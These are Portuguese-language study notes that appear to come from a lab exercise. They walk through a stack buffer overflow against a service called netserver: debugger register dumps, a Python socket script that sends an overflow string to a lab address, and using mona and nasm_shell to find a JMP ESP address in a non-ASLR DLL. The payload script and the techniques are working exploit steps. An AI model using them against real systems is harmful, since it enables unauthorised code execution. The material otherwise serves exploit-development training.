

Identificando um Bom Endereço de Retorno

RECAPTULANDO

BAD CHARS = \x00

2007 + 4 bytes = **EIP**

ESP = Espaço para o nosso shellcode (500 bytes)

EIP → ESP → shellcode :)

Algum problema? Sim :(

O endereço de ESP sempre muda :(

→ Executando o programa duas vezes poderemos ver o endereço do ESP mudando

1ª Vez: 00eafa18

```
Registers (FPU)
EAX 00EAF238 ASCII "SEND A
ECX 00AA52E4
EDX 0000000A
EBX 00000110
ESP 00EAFa18
EBP 41414141
ESI 004018F0 netserve.0040
EDI 004018F0 netserve.0040
EIP 42424242
C 0 ES 002B 32bit 0<FFFFFF
P 1 CS 0023 32bit 0<FFFFFF
A 0 SS 002B 32bit 0<FFFFFF
```

2ª Vez: 00ddfa18

```
Registers (FPU)
EAX 00DDF238 ASCII "SEND AAAAAAAAAA
ECX 006C52E4
EDX 0000000A
EBX 00000114
ESP 00DDFa18
EBP 41414141
ESI 004018F0 netserve.004018F0
EDI 004018F0 netserve.004018F0
EIP 42424242
C 0 ES 002B 32bit 0<FFFFFFFF>
P 1 CS 0023 32bit 0<FFFFFFFF>
A 0 SS 002B 32bit 0<FFFFFFFF>
```

→ Então não adianta colocar o endereço do ESP no lugar onde ficam os B's do código abaixo

```
import socket


dados = "A"*2007 + "BBBB" + "C"*500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
s.connect(("172.15.0.97",5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

→ A solução é usar algum endereço que tenha um **JMP ESP** :e) e que não esteja assegurado pela ASLR
ASLR é uma proteção de memória que troca os endergços a cada execução, geralmente presente em dll's do Windows

→ Forma manual de executar o programa:

Reinicia o programa no Immunity Debugger e dá o play nele. Em seguida, apertamos o 

E Executable modules					
Base	Size	Entry	Name	File version	Path
00400000	00013000	00401200	netserve		C:\Users\catulo\Desktop\netserver.exe
62500000	00010000	62501060	netser_1		C:\Users\catulo\Desktop\netserver.dll
76000000	0023A000	761EF950	KERNELBA	10.0.19041.4165	C:\Windows\System32\KERNELBASE.dll
76A40000	00063000	76A44B40	WS2_32	10.0.19041.4165	C:\Windows\System32\WS2_32.dll
76C70000	000BF000	76CA5AC0	msvort	7.0.19041.3636	C:\Windows\System32\msvort.dll
76E30000	000F0000	76E4F8E0	KERNEL32	10.0.19041.4165	C:\Windows\System32\KERNEL32.DLL
77440000	000BC000	7747AC50	RPCRT4	10.0.19041.4165	C:\Windows\System32\RPCRT4.dll
77510000	001A4000		ntdll	10.0.19041.4165	C:\Windows\SYSTEM32\ntdll.dll

→ Para fazer a busca pelo JMP ESP, devemos:

- Escolhemos uma das opções setadas acima → botão direito do mouse → view code in CPU
- Botão diteito do mouse → search for → command → JMP ESP

→ Devemos escolher um endereço que seja fixo. Em geral, é melhor usarmos uma dll do próprio programa.

C CPU - main thread, module netser_1			
625012A0	FFE4	JMP	ESP
625012A2	FFE0	JMP	EAX
625012A4	58	POP	EAX
625012A5	58	POP	EAX
625012A6	C3	RET	
625012A7	90	NOP	

→ Mas existe uma forma de usarmos o **mona** para isso:

Module info :									
Base	Top	Size	Rebase	SafeSEH	ASLR	MMCompat	OS Dll	Version	Module name & Path
0x76000000	0x76300000	0x0023A000	True	True	True	False	True	10.0.19041.4165	[KERNELBASE.dll] (C:\Windows\System32\KERNELBASE.dll)
0x00400000	0x00413000	0x00013000	False	False	False	False	False	-1.0-	[netserver.exe] (C:\Users\catulo\Desktop\netserver.exe)
0x76E30000	0x76F20000	0x000F0000	True	True	True	False	True	10.0.19041.4165	[KERNEL32.DLL] (C:\Windows\System32\KERNEL32.DLL)
0x76C70000	0x76D2F000	0x000BF000	True	True	True	False	True	7.0.19041.3636	[msvort.dll] (C:\Windows\System32\msvort.dll)
0x77510000	0x77554000	0x00044000	True	True	True	False	True	10.0.19041.4165	[ntdll.dll] (C:\Windows\SYSTEM32\ntdll.dll)
0x77440000	0x774F0000	0x000BC000	True	True	True	False	True	10.0.19041.4165	[RPCRT4.dll] (C:\Windows\System32\RPCRT4.dll)
0x62500000	0x62510000	0x00010000	False	False	False	False	False	-1.0-	[netserver.dll] (C:\Users\catulo\Desktop\netserver.dll)
0x76A40000	0x76A53000	0x00063000	True	True	True	False	True	10.0.19041.4165	[WS2_32.dll] (C:\Windows\System32\WS2_32.dll)

[+] This mona.py action took 0:00:00.444000

mona modules

→ Já sabemos que as dll's que tiverem ASLR como True serão um problema, então escolheremos outra (a False)

+ Para descobrirmos o opcode do comando que queremos (no caso queremos o do JMP ESP):

```
locate nasm_shell
```

```
/usr/bin/msf-nasm_shell
```

```
/usr/bin/msf-nasm_shell
```

```
nasm > jmp esp
```

```
00000000 FFE4 jmp esp
```

→ Agora usaremos o mona para pesquisar por esse opcode no módulo netserver.dll

